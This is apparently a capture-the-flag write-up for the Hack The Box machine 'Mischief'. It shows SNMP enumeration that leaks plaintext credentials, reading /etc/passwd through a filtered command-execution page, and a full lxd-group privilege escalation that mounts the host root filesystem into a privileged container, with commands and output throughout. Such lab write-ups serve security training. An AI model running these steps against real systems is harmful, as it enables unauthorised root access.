Difficulty Rating:

Machine: Mischief
OS: Linux
IP: 10.10.10.92

  • Nmap
# Nmap 7.70 scan initiated Sun Jul  8 11:59:56 2018 as: nmap -sC -sV -p- -v -oN nmap-full-tcp.out -Pn --max-retries=10000 10.10.10.92
Nmap scan report for 10.10.10.92
Host is up (0.22s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
|   256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_  256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
3366/tcp open  caldav  Radicale calendar and contacts server (Python BaseHTTPServer)
| http-auth: 
| HTTP/1.0 401 Unauthorized\x0D
|_  Basic realm=Test
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul  8 12:10:38 2018 -- 1 IP address (1 host up) scanned in 642.48 seconds
  • Port 3366 is running Radicale, which is a server for CalDAV/CardDAV.
  • When you visit 10.10.10.92:3366, you are presented with a login prompt. Let’s leave that for some time.
  • Scan the machine for UDP ports
  • Nmap UDP scan
# Nmap 7.70 scan initiated Sun Jul  8 13:04:01 2018 as: nmap -sU -T4 -oN nmap-udp.out -v --max-retries=10000 10.10.10.92
Nmap scan report for 10.10.10.92
Host is up (0.22s latency).
Not shown: 999 open|filtered ports
PORT    STATE SERVICE
161/udp open  snmp

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Jul  8 13:07:09 2018 -- 1 IP address (1 host up) scanned in 187.51 seconds
  • SNMP service is running on UDP port 161. We can query the OID to get some information.
  • Let’s get IP address information of the system
$ snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.4.34.1.3 
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.92 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.178.25.131 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.178.25.131 = INTEGER: 2
  • The decimal value 222.173.190.239.0.0.0.0.2.80.86.255.254.178.25.131 is the IPv6 address of the machine. Use the below script to convert it to IPv6 format.
import sys

# Usage dectohex.py <dotted decimal ip>

ipv4 = sys.argv[1].split(".")
ipv6 = ":".join(hex(int(x))[2:] for x in ipv4)
ipv6 = ipv6.split(":")
print(ipv6)
final_ipv6 = ""
for i in range(0,len(ipv6),2):
    final_ipv6 = final_ipv6 + ipv6[i] + ipv6[i+1] + ":"

print(final_ipv6[:-1])
  • We’ll use this script to get the IP address in IPv6 format.
┌─[[email protected]]─[~/hackthebox/mischief-10.10.10.92]
└──╼ $ python ~/HackDoc/tools/Linux/dectohex.py 222.173.190.239.0.0.0.0.2.80.86.255.254.178.25.131

dead:beef:00:00:250:56ff:feb2:1983
  • The IPv6 address of the machine is dead:beef:00:00:250:56ff:feb2:1983
  • Next, we will check what processes are running on the machine
  • The command to find all running processes
┌─[[email protected]parrot]─[~/hackthebox/mischief-10.10.10.92]
└──╼ $ snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.25.4.2.1.5
iso.3.6.1.2.1.25.4.2.1.5.708 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/"

If you don't know the OID for a specific query, you could just fetch all the information using the following command: $ snmpwalk -v2c -c public 10.10.10.92 .

  • The above command shows a python process running on port 3366, which is the Radicale server.
  • We also find some credentials there:
    • Username: loki
    • Password: godofmischiefisloki
  • Let’s login Radicale server with these creds:

  • We get some credentials

  • I tried these credentials for the SSH, but it didn’t work.
  • There’s nothing else on this network that we can try. So I thought of scanning the IPv6 network.
  • Nmap TCP IPv6
# Nmap 7.70 scan initiated Mon Jul  9 09:32:21 2018 as: nmap -T5 -sC -sV -6 -v -oN nmap-tcp-ipv6.out -Pn --max-retries=10000 dead:beef:00:00:250:56ff:feb2:1983
Nmap scan report for dead:beef::250:56ff:feb2:82c1
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
|   256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_  256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| address-info: 
|   IPv6 EUI-64: 
|     MAC address: 
|       address: 00:50:56:b2:82:c1
|_      manuf: VMware

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul  9 09:32:55 2018 -- 1 IP address (1 host up) scanned in 33.90 seconds
  • There’s a web service running on port 80 on the IPv6 address.

  • On the login page, after trying multiple combinations, I was able to log in with the below credentials:
    • Username: administrator
    • Password: trickeryanddeceit
  • After logging in, we are given an input field to execute some commands.
  • After trying few commands, I found the following things:
    • Some of the commands like wget or ls are not allowed. So, there is some kind of whitelisting implemented.
    • We can execute mulltiple commands using && operator.
    • Even after we execute a command, we don’t see its output. We only see the display message: Command was executed succesfully!

  • One way to display the output of the commands was to use the ; operator.
  • The message below gives us the hint that there are some credentials, in the home directory of some user with a file named credentials.
  • First, we’ll check the users on the machine by getting the contents of /etc/passwd file.

  • View the source code to get the output in readable format.

  • We have now got the username loki. Let’s get the credentials from it’s home directory.

  • Let’s SSH with the below credentials:
    • Username: loki
    • Password: lokiisthebestnorsegod

  • Get user.txt

User owned!!
  • For privilege escalation, check the output of id command
[email protected]:~$ id
uid=1000(loki) gid=1004(loki) groups=1004(loki),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),1000(lpadmin),1001(sambashare),1002(debian-tor),1003(libvirtd)
  • The user loki is a member of the group lxd, which can lead to getting root access.
  • The following blog by Booj is a great PoC on privEsc with lxd: https://reboare.github.io/lxd/lxd-escape.html
  • Video demo for the following exploit:
$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ sudo ./build-alpine -a x86_64
  • We have built the image, now we’ll upload it on the victim machine.
  • sftp [email protected] and download alpine-v3.8-x86_64-20180708_1659.tar.gz in /tmp
┌─[[email protected]]─[~/hackthebox/mischief-10.10.10.92/lxd-alpine-builder]
└──╼ $ sftp [email protected]
[email protected]'s password:
Connected to [email protected]
sftp> pwd
Remote working directory: /home/loki
sftp> cd /tmp
sftp> ls
systemd-private-24d96bfe26fa488688f2002b55a1d4db-apache2.service-uI71RG
systemd-private-24d96bfe26fa488688f2002b55a1d4db-systemd-resolved.service-SMSRFd
systemd-private-24d96bfe26fa488688f2002b55a1d4db-systemd-timesyncd.service-CKty3E
sftp> put alpine-v3.8-x86_64-20180708_1659.tar.gz
Uploading alpine-v3.8-x86_64-20180708_1659.tar.gz to /tmp/alpine-v3.8-x86_64-20180708_1659.tar.gz
alpine-v3.8-x86_64-20180708_1659.tar.gz                     100% 2525KB 754.0KB/s   00:03
sftp> exit
  • Now SSH in victim machine, and follow the following steps.
  • Here, we are importing an lxc image and use it to mount the root filesystem of host machine on the Linux container, and access with privileged rights of the container, which also gives us the rights to access the mounted root filesystem of the host machine.
[email protected]:/tmp$ ls -la
total 2568
drwxrwxrwt 10 root root    4096 Jul  8 11:31 .
drwxr-xr-x 23 root root    4096 May 14 20:50 ..
-rw-r--r--  1 loki loki 2585544 Jul  8 11:31 alpine-v3.8-x86_64-20180708_1659.tar.gz
drwxrwxrwt  2 root root    4096 Jul  8 05:39 .font-unix
drwxrwxrwt  2 root root    4096 Jul  8 05:39 .ICE-unix
drwx------  3 root root    4096 Jul  8 05:39 systemd-private-24d96bfe26fa488688f2002b55a1d4db-apache2.service-uI71RG
drwx------  3 root root    4096 Jul  8 05:39 systemd-private-24d96bfe26fa488688f2002b55a1d4db-systemd-resolved.service-SMSRFd
drwx------  3 root root    4096 Jul  8 05:39 systemd-private-24d96bfe26fa488688f2002b55a1d4db-systemd-timesyncd.service-CKty3E
drwxrwxrwt  2 root root    4096 Jul  8 05:39 .Test-unix
drwxrwxrwt  2 root root    4096 Jul  8 05:39 .X11-unix
drwxrwxrwt  2 root root    4096 Jul  8 05:39 .XIM-unix
[email protected]:/tmp$ lxc image import alpine-v3.8-x86_64-20180708_1659.tar.gz --alias alpine
Image imported with fingerprint: 2f14324f12c618977d188e0d8fe17089b7adb950f5550f38db09472ac6141a62
[email protected]:/tmp$ lxc image list
+--------+--------------+--------+------------------------------+--------+--------+------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |         DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+--------+--------------+--------+------------------------------+--------+--------+------------------------------+
| alpine | 2f14324f12c6 | no     | alpine v3.8 (20180708_16:59) | x86_64 | 2.47MB | Jul 8, 2018 at 11:32am (UTC) |
+--------+--------------+--------+------------------------------+--------+--------+------------------------------+
[email protected]:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

[email protected]:/tmp$
[email protected]:/tmp$ lxc init alpine privesc -c security.privileged=true
Creating privesc
[email protected]:/tmp$ lxc list
+---------+---------+------+------+------------+-----------+
|  NAME   |  STATE  | IPV4 | IPV6 |    TYPE    | SNAPSHOTS |
+---------+---------+------+------+------------+-----------+
| privesc | STOPPED |      |      | PERSISTENT | 0         |
+---------+---------+------+------+------------+-----------+
[email protected]:/tmp$ lxc config device add privesc host-root disk source=/ path=/mnt/root
Device host-root added to privesc
[email protected]:/tmp$ lxc start privesc
[email protected]:/tmp$ lxc list
+---------+---------+----------------------+----------------------------------------------+------------+-----------+
|  NAME   |  STATE  |         IPV4         |                     IPV6                     |    TYPE    | SNAPSHOTS |
+---------+---------+----------------------+----------------------------------------------+------------+-----------+
| privesc | RUNNING | 10.20.190.156 (eth0) | fd42:df2:b5d0:2cd4:216:3eff:fed6:5b48 (eth0) | PERSISTENT | 0         |
+---------+---------+----------------------+----------------------------------------------+------------+-----------+
[email protected]:/tmp$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /root
~ # ls -la
total 4
drwx------    1 root     root            24 Jul  8 11:34 .
drwxr-xr-x    1 root     root           108 Jul  8 11:34 ..
-rw-------    1 root     root            19 Jul  8 11:34 .ash_history
~ # find / -iname "root.txt"
/mnt/root/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/mnt/root/root/root.txt
find: /sys/kernel/debug: Permission denied
~ # cat  /mnt/root/root/root.txt
The flag is not here, get a shell to find it!
~ # cat /mnt/root/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
ae155fad479c56f912c65d7be4487807
~ # ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
4: [email protected]: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP qlen 1000
    link/ether 00:16:3e:d6:5b:48 brd ff:ff:ff:ff:ff:ff
    inet 10.20.190.156/24 brd 10.20.190.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fd42:df2:b5d0:2cd4:216:3eff:fed6:5b48/64 scope global dynamic
       valid_lft 3554sec preferred_lft 3554sec
    inet6 fe80::216:3eff:fed6:5b48/64 scope link
       valid_lft forever preferred_lft forever
~ #
  • Get root.txt
System owned!!

Share the fun!